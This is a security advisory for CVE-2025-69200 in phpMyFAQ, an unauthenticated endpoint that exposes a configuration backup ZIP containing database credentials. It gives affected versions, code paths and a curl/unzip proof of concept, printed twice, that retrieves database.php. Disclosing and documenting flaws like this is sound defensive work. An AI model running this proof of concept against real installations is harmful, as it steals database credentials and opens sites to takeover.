GHSA-9CG9-4H4F-J6FG
Vulnerability from github – Published: 2025-12-30 15:31 – Updated: 2025-12-30 15:31Summary
An unauthenticated remote attacker can trigger generation of a configuration backup ZIP via POST /api/setup/backup and then download the generated ZIP from a web-accessible location. The ZIP contains sensitive configuration files (e.g., database.php with database credentials), leading to high-impact information disclosure and potential follow-on compromise.
Details
The endpoint /api/setup/backup is reachable via default rewrite rules and does not enforce authentication/authorization or API token verification. When called with any non-empty body (used as an “installed version” string), the server creates a ZIP archive inside the configuration directory and returns a direct URL to the generated ZIP file.
Relevant code paths:
- Rewrite rule exposing the endpoint:
- phpmyfaq/.htaccess: RewriteRule ^api/setup/(check|backup|update-database) api/index.php [L,QSA]
- Controller implementation:
- phpmyfaq/src/phpMyFAQ/Controller/Api/SetupController.php → backup()
- No call to hasValidToken(), userIsAuthenticated(), or any permission check
- Backup creation:
- phpmyfaq/src/phpMyFAQ/Setup/Update.php → createConfigBackup()
- Writes the ZIP into the config directory and returns a public URL under content/core/config/
PoC
Replace BASE_URL with your instance URL.
1) Trigger config backup generation without authentication:
BASE_URL="http://localhost"
curl -i -X POST "${BASE_URL}/api/setup/backup" \
-H "Content-Type: text/plain" \
--data "4.1.0-RC"
Expected result: 200 OK with JSON containing backupFile.
2) Copy the backupFile URL from the JSON response and download it (still without authentication):
# Example (replace with the exact URL returned in step 1)
curl -i "http://localhost/content/core/config/phpmyfaq-config-backup.YYYY-MM-DD.zip" -o phpmyfaq-config-backup.zip
3) Verify sensitive content exists in the ZIP:
unzip -l phpmyfaq-config-backup.zip
unzip -p phpmyfaq-config-backup.zip database.php
Observed: database.php is included and contains DB host/user/password.
Impact
- Vulnerability class: Missing authentication/authorization for a sensitive function + sensitive information exposure.
- Who is impacted: Any internet-exposed phpMyFAQ installation where the default
.htaccessrewrite rules are active and the endpoint is reachable. - Security impact: Disclosure of configuration secrets (DB credentials, integration config, etc.), enabling follow-on attacks such as database takeover and data exfiltration.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "thorsten/phpmyfaq"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.0.16"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "thorsten/phpmyfaq"
},
"ranges": [
{
"events": [
{
"introduced": "4.1.0-alpha"
},
{
"last_affected": "4.1.0-beta.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-69200"
],
"database_specific": {
"cwe_ids": [
"CWE-202"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-30T15:31:19Z",
"nvd_published_at": "2025-12-29T16:15:43Z",
"severity": "HIGH"
},
"details": "### Summary\nAn unauthenticated remote attacker can trigger generation of a configuration backup ZIP via `POST /api/setup/backup` and then download the generated ZIP from a web-accessible location. The ZIP contains sensitive configuration files (e.g., `database.php` with database credentials), leading to high-impact information disclosure and potential follow-on compromise.\n\n### Details\nThe endpoint `/api/setup/backup` is reachable via default rewrite rules and does not enforce authentication/authorization or API token verification. When called with any non-empty body (used as an \u201cinstalled version\u201d string), the server creates a ZIP archive inside the configuration directory and returns a direct URL to the generated ZIP file.\n\nRelevant code paths:\n- Rewrite rule exposing the endpoint:\n - `phpmyfaq/.htaccess`: `RewriteRule ^api/setup/(check|backup|update-database) api/index.php [L,QSA]`\n- Controller implementation:\n - `phpmyfaq/src/phpMyFAQ/Controller/Api/SetupController.php` \u2192 `backup()`\n - No call to `hasValidToken()`, `userIsAuthenticated()`, or any permission check\n- Backup creation:\n - `phpmyfaq/src/phpMyFAQ/Setup/Update.php` \u2192 `createConfigBackup()`\n - Writes the ZIP into the config directory and returns a public URL under `content/core/config/`\n\n### PoC\nReplace `BASE_URL` with your instance URL.\n\n1) Trigger config backup generation without authentication:\n\n```bash\nBASE_URL=\"http://localhost\"\ncurl -i -X POST \"${BASE_URL}/api/setup/backup\" \\\n -H \"Content-Type: text/plain\" \\\n --data \"4.1.0-RC\"\n```\n\nExpected result: `200 OK` with JSON containing `backupFile`.\n\n2) Copy the `backupFile` URL from the JSON response and download it (still without authentication):\n\n```bash\n# Example (replace with the exact URL returned in step 1)\ncurl -i \"http://localhost/content/core/config/phpmyfaq-config-backup.YYYY-MM-DD.zip\" -o phpmyfaq-config-backup.zip\n```\n\n3) Verify sensitive content exists in the ZIP:\n\n```bash\nunzip -l phpmyfaq-config-backup.zip\nunzip -p phpmyfaq-config-backup.zip database.php\n```\n\nObserved: `database.php` is included and contains DB host/user/password.\n\n### Impact\n- Vulnerability class: Missing authentication/authorization for a sensitive function + sensitive information exposure.\n- Who is impacted: Any internet-exposed phpMyFAQ installation where the default `.htaccess` rewrite rules are active and the endpoint is reachable.\n- Security impact: Disclosure of configuration secrets (DB credentials, integration config, etc.), enabling follow-on attacks such as database takeover and data exfiltration.",
"id": "GHSA-9cg9-4h4f-j6fg",
"modified": "2025-12-30T15:31:19Z",
"published": "2025-12-30T15:31:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-9cg9-4h4f-j6fg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69200"
},
{
"type": "WEB",
"url": "https://github.com/thorsten/phpMyFAQ/commit/b0e99ee3695152115841cb546d8dce64ceb8c29a"
},
{
"type": "PACKAGE",
"url": "https://github.com/thorsten/phpMyFAQ"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "phpMyFAQ has unauthenticated config backup download via /api/setup/backup"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
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- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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